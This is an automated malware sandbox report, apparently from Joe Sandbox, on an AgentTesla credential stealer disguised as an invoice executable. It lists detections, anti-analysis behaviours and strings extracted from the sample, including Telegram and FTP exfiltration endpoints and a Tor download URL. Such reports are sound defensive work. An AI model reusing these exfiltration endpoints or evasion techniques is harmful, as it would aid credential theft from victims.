Play interactive tour

Edit tour

Analysis Report PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Overview

General Information

Sample Name:	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe
Analysis ID:	324081
MD5:	b3cb5b2bc5c3033b1008ed7f7f6312db
SHA1:	3fd8e55a12bdf35200ee43e210951825ad0293d3
SHA256:	042ef647920e37e8da471c1bfbc36490ee6bf93ceee75cd90161823ae74d458b
Tags:	exe
Most interesting Screenshot:

Detection

AgentTesla

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for sample

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates processes with suspicious names

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains strange resources

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Startup

System is w10x64

PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe (PID: 6152 cmdline: 'C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe' MD5: B3CB5B2BC5C3033B1008ED7F7F6312DB)

PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe (PID: 6944 cmdline: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe MD5: B3CB5B2BC5C3033B1008ED7F7F6312DB)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
0000000B.00000002.918795043.00000000036E4000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.917038973.0000000002680000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.916512263.0000000002380000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000003.765764476.000000000086E000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.916402342.00000000022A6000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe PID: 6944	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe PID: 6944	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
11.2.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.2380000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.2680000.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.2380000.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.2680000.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

ReversingLabs: Detection: 56%

Machine Learning detection for sample

Show sources

Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Joe Sandbox ML: detected

Source: 11.1.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.400000.0.unpack

Avira: Label: TR/Dropper.Gen

Source: Joe Sandbox View	IP Address: 162.159.137.232 162.159.137.232
Source: Joe Sandbox View	IP Address: 162.159.135.233 162.159.135.233

Source: Joe Sandbox View

JA3 fingerprint: ce5f3254611a8c095a3d821d44539877

Source: unknown

DNS traffic detected: queries for: discord.com

Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	String found in binary or memory: ftp://ftp.kunwersachdev.com/maerst
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	String found in binary or memory: http://JvKUzM.com
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	String found in binary or memory: http://gorohov.narod.ru/index.htm
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	String found in binary or memory: http://gorohov.narod.ru/index.htmS
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	String found in binary or memory: https://api.ipify.orgGETMozilla/5.0
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot%telegramapi%/sendDocumentdocument---------------------------x
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443

System Summary:

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_00408C60	11_2_00408C60
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_0040DC11	11_2_0040DC11
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_00407C3F	11_2_00407C3F
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_00418CCC	11_2_00418CCC
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_00406CA0	11_2_00406CA0
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_004028B0	11_2_004028B0
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_0041A4BE	11_2_0041A4BE
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_00418244	11_2_00418244
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_00401650	11_2_00401650
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_00402F20	11_2_00402F20
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_004193C4	11_2_004193C4
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_00418788	11_2_00418788
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_00402F89	11_2_00402F89
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_00402B90	11_2_00402B90
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_004073A0	11_2_004073A0
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_023EF758	11_2_023EF758
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_023E3D93	11_2_023E3D93
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_023E0C60	11_2_023E0C60
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_023E0C50	11_2_023E0C50
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_04A700E0	11_2_04A700E0
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_04A700D0	11_2_04A700D0
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_04A70073	11_2_04A70073
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_05BB4950	11_2_05BB4950
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_05BB2A38	11_2_05BB2A38
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_05BB1E20	11_2_05BB1E20
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_05BB2168	11_2_05BB2168
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_00408C60	11_1_00408C60
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_0040DC11	11_1_0040DC11
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_00407C3F	11_1_00407C3F
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_00418CCC	11_1_00418CCC
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_00406CA0	11_1_00406CA0
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_004028B0	11_1_004028B0
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_0041A4BE	11_1_0041A4BE
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_00418244	11_1_00418244
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_00401650	11_1_00401650
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_00402F20	11_1_00402F20
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_004193C4	11_1_004193C4
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_00418788	11_1_00418788
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_00402F89	11_1_00402F89
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_00402B90	11_1_00402B90
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_004073A0	11_1_004073A0

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: String function: 0040D606 appears 48 times
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: String function: 0040E1D8 appears 88 times

Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Static PE information: invalid certificate

Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST

Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918795043.00000000036E4000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameLkFCDrqOCOdatOyKIEUEwX.exe4 vs PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918795043.00000000036E4000.00000004.00000001.sdmp	Binary or memory string: OriginalFilename_.dll4 vs PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.919463877.0000000004A40000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dll.muij% vs PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.919787092.0000000005750000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamewbemdisp.tlbj% vs PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.919446938.0000000004A30000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dllj% vs PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.919809687.0000000005760000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameKernelbase.dll.muij% vs PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.917830550.000000000273A000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameclrjit.dllT vs PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.917830550.000000000273A000.00000004.00000001.sdmp	Binary or memory string: OriginalFilename vs PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.917830550.000000000273A000.00000004.00000001.sdmp	Binary or memory string: 3l,\\StringFileInfo\\040904B0\\OriginalFilename vs PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Section loaded: mscorjit.dll

Jump to behavior

Source: classification engine

Classification label: mal92.troj.evad.winEXE@3/0@2/2

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Code function: 11_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

11_2_004019F0

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

11_2_004019F0

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Command line argument: 08A	11_2_00413780
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Command line argument: 08A	11_2_00413780
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Command line argument: 08A	11_1_00413780

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

ReversingLabs: Detection: 56%

Source: unknown	Process created: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe 'C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe'
Source: unknown	Process created: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process created: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Jump to behavior

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Static file information: File size 1218752 > 1048576

Source:

Binary string: _.pdb source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918795043.00000000036E4000.00000004.00000001.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Unpacked PE file: 11.2.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.400000.0.unpack CODE:ER;DATA:W;BSS:W;.idata:W;.tls:W;.rdata:R;.reloc:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Unpacked PE file: 11.2.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.400000.0.unpack

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

11_2_004019F0

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041C6470 push ecx; mov dword ptr [esp], edx	0_3_041C6475
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041DA574 push 0042AB4Bh; ret	0_3_041DA5BB
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041C658C push ecx; mov dword ptr [esp], edx	0_3_041C6591
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041C65D0 push ecx; mov dword ptr [esp], edx	0_3_041C65D5
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041E55CC push ecx; mov dword ptr [esp], ecx	0_3_041E55D0
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041D8678 push 00428C2Ch; ret	0_3_041D869C
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041D86B8 push 00428C6Ch; ret	0_3_041D86DC
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041D96A0 push 00429C66h; ret	0_3_041D96D6
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041C46C4 push 00414C99h; ret	0_3_041C4709
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041D96E8 push 00429C9Ch; ret	0_3_041D970C
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041D9720 push 00429CE0h; ret	0_3_041D9750
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041BD77C push 0040DE80h; ret	0_3_041BD8F0
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041C478C push 00414D40h; ret	0_3_041C47B0
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041DF014 push 0042F611h; ret	0_3_041DF081
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041DC08C push 0042C640h; ret	0_3_041DC0B0
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041DF08C push 0042F66Dh; ret	0_3_041DF0DD
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041F1088 push 0044163Ch; ret	0_3_041F10AC
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041DC0C4 push 0042C678h; ret	0_3_041DC0E8
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041DC0FC push 0042C6B0h; ret	0_3_041DC120
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041DE0F8 push 0042E6D9h; ret	0_3_041DE149
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041DC13C push 0042C6F0h; ret	0_3_041DC160
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041B613C push 004066F0h; ret	0_3_041B6160
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041BE144 push 0040E6F8h; ret	0_3_041BE168
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041DC174 push 0042C728h; ret	0_3_041DC198
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041DE194 push 0042E754h; ret	0_3_041DE1C4
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041B61B4 push 00406768h; ret	0_3_041B61D8
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041DC1AC push 0042C760h; ret	0_3_041DC1D0
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041DB1D4 push 0042B7A8h; ret	0_3_041DB218
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041DC1E4 push 0042C798h; ret	0_3_041DC208
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041B71E0 push 00407794h; ret	0_3_041B7204
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 0_3_041DE228 push 0042E7DCh; ret	0_3_041DE24C

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

File created: \pro forma invoice - - magautkcp (24-nov-20).exe

Jump to behavior

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
